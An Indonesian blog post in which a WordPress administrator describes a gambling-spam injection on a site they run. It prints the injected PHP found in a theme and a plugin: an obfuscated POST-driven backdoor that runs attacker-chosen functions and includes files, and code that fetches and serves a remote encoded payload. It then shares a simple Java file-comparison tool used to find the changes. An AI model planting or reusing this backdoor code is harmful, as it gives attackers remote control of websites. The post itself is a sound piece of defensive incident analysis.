Kode Java Membandingkan Dua File

Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot.

Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut.

Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan.

if( ! function_exists('qmqkrosuwcclz') ) {

	function qmqkrosuwcclz($hofwrudrjow, $arprughxl) {
		$dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
		$hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq);
		$hofwrudrjow = cogrjgxig($hofwrudrjow);
		return $hofwrudrjow;
	}

	function cogrjgxig($drvphbmibfcfnms) {
		$drvphbmibfcfnms = base64_decode($drvphbmibfcfnms);
		return $drvphbmibfcfnms;
	}

	$izvyyhb = $_POST;

	if(isset($izvyyhb['wtcyzjbnafe'])) {
		$tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe'];
		$ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); 
		$huxekmu = qmqkrosuwcclz($izvyyhb['eygguylsomiwnh'], $tzivwumxaiztpg);
		$ptfknvndkww = qmqkrosuwcclz($izvyyhb['ntxczrhjejw'], $tzivwumxaiztpg);
		$ptfknvndkww($ozghajv, $huxekmu);
		include($ozghajv);
	}

}

/* fisika.ub.ac.id theme functions */


global $wpdb;
$nematelminth = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->termmeta WHERE meta_id = %d",1));
if (isset($_GET[str_rot13(strrev($nematelminth->meta_key))])) {
	header('Access-Control-Allow-Headers: Cache-Control');
	header('Cache-Control: Public, Max-Age=31536000, Immutable');
	header('Pragma: Cache');
	add_filter('json_enabled','__return_false' );
	add_filter('json_jsonp_enabled','__return_false' );
	add_filter('rest_enabled','__return_false');
	add_filter('rest_jsonp_enabled','__return_false');
	add_filter('rewrite_rules_array','disable_embeds_rewrites');
	remove_action('init','rest_api_init' );
	remove_action('parse_request','rest_api_loaded' );
	remove_action('rest_api_init','create_initial_rest_routes', 99);
	remove_action('rest_api_init','register_initial_settings', 10);
	remove_action('rest_api_init','rest_api_default_filters', 10);
	remove_action('template_redirect','rest_output_link_header',11);
	remove_action('template_redirect','wp_shortlink_header',11);
	remove_action('wp_head','rest_output_link_wp_head');
	remove_action('wp_head','wp_oembed_add_discovery_links');
	remove_action('wp_head','wp_shortlink_wp_head',10);
	remove_action('wp_head','wlwmanifest_link');
	add_action( 'init', function () {
		remove_action( 'rest_api_init', 'wp_oembed_register_route' );
		add_filter( 'embed_oembed_discover', '__return_false' );
		remove_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10 );
		remove_action( 'wp_head', 'wp_oembed_add_discovery_links' );
		remove_action( 'wp_head', 'wp_oembed_add_host_js' );
		add_filter( 'tiny_mce_plugins', function ( $autobuses ) {
			return array_diff( $autobuses, array( 'wpembed' ) );
		} );
		add_filter( 'rewrite_rules_array', function ( $steadite ) {
			foreach ( $steadite as $rumbo => $cyanicide ) {
				if ( false !== strpos( $cyanicide, 'embed=true' ) ) {
					unset( $steadite[ $rumbo ] );
				}
			}
			return $steadite;
		} );
		remove_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10 );
	}, 9999 );
	print( gzinflate( base64_decode( $nematelminth->meta_value )));
	die;
}

Dan yang berikut ini, adalah contoh kode injeksi yang penulis temukan di plugin:

function print_slide_(){
foreach(new DirectoryIterator(__DIR__)as $outrhymed){
if($outrhymed->isFile()&&$outrhymed->isWritable()){
chmod($outrhymed->getRealPath(),0555);}}chmod(getcwd(),0555);
if(isset($_GET[str_rot13(strrev('avjknz-ebpnt-gbyf-bzrq-ahxn'))])){
	header('Access-Control-Allow-Headers: Cache-Control');
	header('Cache-Control: Public, Max-Age=31536000, Immutable');
	header('Pragma: Cache');
	add_filter('wp_head','return_cards_grid_section',0);
	$scorchproof = base64_decode('
		MmY3NjYxNzIyZjc3Nzc3NzJmNjg3
		NDZkNmMyZjY2NjkyZjc3NzAyZDYz
		NmY2ZTc0NjU2ZTc0MmY3NTcwNmM2
		ZjYxNjQ3MzJmMzIzMDMxMzMyZjMw
		MzgyZjQ5NGQ0NzVmMzIzMDMxMzMz
		MDM4MzIzNzVmMzEzMTMwMzMzMjM3
		MmU2NzY5NjY=
		');
	$stilter = '';
	for ($suballocated=0;$suballocated<strlen($scorchproof)-1;$suballocated+=2){
		$stilter.=chr(hexdec($scorchproof[$suballocated].$scorchproof[$suballocated+1]));
	}
	print(gzinflate(
				str_replace(
					base64_decode('R0lGODlhIOBbV0913ydsYlbdOw=='),
					'',file_get_contents($stilter))));die;
}
}

Kedua hal ini menunjukkan, serangan injeksi bukan hanya pada plugin, tetapi juga pada theme.

Salah satu cara dummy mencari kedua kode injeksi di atas, yaitu penulis membandingkan antara file yang belum terinfeksi, dengan yang sudah terinfeksi dengan kode Java berikut:

package com.edugameapp.comparefiles;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

/**
 *
 * @author User
 */
public class CompareFiles 
{
    public boolean compareTwoFile(String filepath1,String filepath2)
    {
        try{
            int lineNumber = 1;
            String line1 = "", line2 = "";
            
            BufferedReader bf1 = Files.newBufferedReader(Paths.get(filepath1));
            BufferedReader bf2 = Files.newBufferedReader(Paths.get(filepath2));

            while ((line1 = bf1.readLine()) != null) {
                line2 = bf2.readLine();
                if (line2 == null || !line1.equals(line2)) {
                    return false;
                }
                lineNumber++;
            }
            return true;   
        }catch(IOException e){
            System.out.println("Error :"+e.toString());
            return false;
        }
    }
    
    public void tryScan(String dir_path)
    {
        File f = new File(dir_path);
        for (File fo : f.listFiles()) {
            if (fo.isFile()) {
                String p=fo.getAbsolutePath();
                p=p.replace("themesehat", "themesakit");
if(!compareTwoFile(fo.getAbsolutePath(),p)){ System.out.println(fo.getAbsolutePath()); } } else if (fo.isDirectory()) { tryScan(fo.getAbsolutePath()); } } } public static void main(String[] args) { CompareFiles main=new CompareFiles(); main.tryScan("D:\\Depa..\\..\\themesehat"); System.out.println("Done"); } }

Dengan meletakkan pada folder yang berbeda (misalnya themesehat dan themesakit), antara theme yang sudah terinfeksi dengan yang belum. Kode di atas akan memberikan tanda bahwa file itu berbeda.

Dengan begitu, pencarian akan lebih cepat diarahkan untuk melihat file-file yang berbeda saja. Meskipun manual.

Awalnya, penulis mencoba menggunakan bahasa Python untuk membuat program pencari perbedaan antara dua file di atas, dengan mencoba membuat scanner sesuai kode di bawah ini:

import os

dir_path = r'D:\De..\themesehat'

def scanFile(dir_path):    
    print(dir_path)
    for path in os.listdir(dir_path):
        pathfile=os.path.join(dir_path, path)
        if os.path.isfile(pathfile):
            file1 = open(pathfile, 'r')
            while True:
                line = file1.readline()
                
                if not line:
                    break

                for row in line:                
                    if row.find('byUboiz') != -1:
                        print("ADA")
        elif os.path.isdir(pathfile):
            scanFile(pathfile)

scanFile(dir_path)

Sayangnya, library scanning file Python ini, adakalanya tidak mampu membaca file dengan sempurna, malah berhenti dan tidak bisa melewati. Padahal, keinginan penulis, "Lanjutkan lewati saja Mas Bro, Ngapain berhenti!".

Bukan karena Java lebih baik dibanding Python, sehingga kode pembanding akhirnya penulis tulis dengan Java, hanya saja penulis tidak menyukai Python.

Kesimpulannya, solusi yang lakukan di atas, bukan hal terbaik untuk problem injeksi website penulis. Sangat dimungkinkan website yang penulis kelola ini masih terdapat lubang, yang sewaktu-waktu masih dapat diserang lagi, dan penulis belum tahu itu. Langkah ini karena, penulis hanya sebagai Administrator, bukan sebagai Super Admin di server yang penulis bekerja di sana.

Komentar



Postingan populer dari blog ini

Kumpulan Source Code Greenfoot

Game TicTacToe dengan Greenfoot

Algorithma Coretan Abstrak dengan HTML5 Canvas

Cara Membuat Halaman HTML Sederhana

Kode Greenfoot Game Snake Sederhana

Honeycomb Style Wallpaper dengan HTML5 Canvas

Ganti Kartu ATM BNI yang Rusak

Tips Agar Website Anda Segera di Terima oleh Google Adsense dan di-Monetize

Selamatan Latar Glundengan Bubuk Banyuwangi

Menggunakan JSON di Netbeans 8.2